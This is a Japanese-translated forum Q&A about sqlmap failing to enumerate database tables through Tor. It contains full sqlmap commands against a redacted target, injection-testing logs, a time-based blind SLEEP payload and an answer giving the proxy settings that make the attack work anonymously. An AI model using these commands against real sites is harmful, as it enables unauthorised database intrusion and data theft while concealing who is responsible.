0

私はsqlmapとTORを使用して簡単なテストを行っています.TORを使用しないコマンドはテーブルのすべての名前を取得しますが、オプション --tor --tor-port=9151 を追加すると、空の名前が返されるか、何も返されませんテーブル。

Python 2.7、sqlmap/1.0-dev、および Windows Vista を使用しています。

--tor --tor-port=9151 を使用しない場合:

C:\tools\sqlmapNew>\Python27\python.exe sqlmap.py -u <theWebsite>?vulnerablecode
=111 -D <aDatabase> --tables --threads 5 --random-agent

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 18:16:16

[18:16:16] [INFO] fetched random HTTP User-Agent header from file 'C:\tools\sqlm
apNew\txt\user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKi
t/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2
[18:16:17] [INFO] testing connection to the target URL
[18:16:18] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
[18:16:20] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
 or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[18:16:21] [INFO] testing if GET parameter 'vulnerablecode' is dynamic
[18:16:22] [INFO] confirming that GET parameter 'vulnerablecode' is dynamic
[18:16:23] [WARNING] GET parameter 'vulnerablecode' does not appear dynamic
[18:16:24] [INFO] heuristics detected web page charset 'ISO-8859-2'
[18:16:24] [WARNING] heuristic (basic) test shows that GET parameter 'vulnerable
code' might not be injectable
[18:16:24] [INFO] testing for SQL injection on GET parameter 'vulnerablecode'
[18:16:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:16:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:16:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:16:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:16:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:16:45] [INFO] testing 'MySQL inline queries'
[18:16:46] [WARNING] reflective value(s) found and filtering out
[18:16:46] [INFO] testing 'PostgreSQL inline queries'
[18:16:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:16:48] [INFO] testing 'Oracle inline queries'
[18:16:48] [INFO] testing 'SQLite inline queries'
[18:16:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:16:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:16:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:17:01] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:17:23] [INFO] GET parameter 'vulnerablecode' seems to be 'MySQL > 5.0.11 AND
time-based blind' injectable
[18:17:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:17:23] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[18:17:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:17:53] [INFO] checking if the injection point on GET parameter 'vulnerablecod
e' is a false positive
GET parameter 'vulnerablecode' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N]

しかし、 --tor --tor-port=9151 オプションを追加すると、脆弱性は見つかりませんでした:

C:\tools\sqlmapNew>\Python27\python.exe sqlmap.py -u <theWebsite>?vulnerableCode=
111 -D <theDatabase> --tables --threads 5 --random-agent --tor --tor-port=9151

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 18:23:30

[18:23:30] [WARNING] increasing default value for option '--time-sec' to 10 beca
use switch '--tor' was provided
[18:23:30] [INFO] setting Tor HTTP proxy settings
[18:23:30] [WARNING] use switch '--check-tor' at your own convenience when acces
sing Tor anonymizing network because of known issues with default settings of va
rious 'bundles' (e.g. Vidalia)
[18:23:30] [INFO] fetched random HTTP User-Agent header from file 'C:\tools\sqlm
apNew\txt\user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1
.9.1b2) Gecko/20081201 Firefox/3.1b2
[18:23:30] [INFO] resuming back-end DBMS 'mysql'
[18:23:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: vulnerableCode
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: vulnerableCode=111 AND SLEEP(10)
---
[18:23:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[18:23:30] [INFO] fetching tables for database: '<theDB>'
[18:23:30] [INFO] fetching number of tables for database '<theDB>'
[18:23:30] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[18:23:30] [WARNING] it's highly recommended to avoid usage of switch '--tor' fo
r time-based injections because of its high latency time
[18:23:30] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[18:23:31] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads

[18:23:31] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[18:23:31] [WARNING] unable to retrieve the number of tables for database '<theDB>'
[18:23:31] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]
No tables found
[18:23:35] [INFO] fetched data logged to text files under 'C:\tools\sqlmapNew\ou
tput\<theWebsite>'

[*] shutting down at 18:23:35

--tor --tor-port=9151 なしでデータベースとテーブルを指定すると、いくつかの値が取得されます。

[16:51:33] [INFO] fetching tables for database: '<theDb>'
[16:51:33] [INFO] fetching number of tables for database '<theDb>'
[16:51:33] [INFO] resumed: 101
[16:51:33] [INFO] retrieving the length of query output
[16:51:33] [INFO] retrieved:
[16:51:34] [INFO] heuristics detected web page charset 'ISO-8859-2'
[16:51:35] [WARNING] reflective value(s) found and filtering out
[16:51:49] [INFO] retrieved: 1!
[16:51:49] [INFO] retrieved: test

しかし、 --tor --tor-port=9151 オプションを指定したものはありません:

[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieved:
[16:51:11] [INFO] retrieving the length of query output
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieved:
[16:51:12] [INFO] retrieving the length of query output
[16:51:12] [INFO] retrieved:

TOR 経由で接続しようとすると、何か不足していますか?

前もって感謝します!

4

1 に答える 1

0

あなたは書く必要があります:

--tor --tor-port=9150 --tor-type=socks5 --check-tor

または、次のように書くこともできます。

--proxy="socks5://localhost:9150" --check-tor

また、 tor を使用しているときに時間ベースから取得する場合は、 に高い値を設定して--time-sec=15ください。Tor のデフォルトのポートは 9150 ですが、9151 を使用している場合は、それを値に使用できます。

于 2014-03-06T15:38:01.220 に答える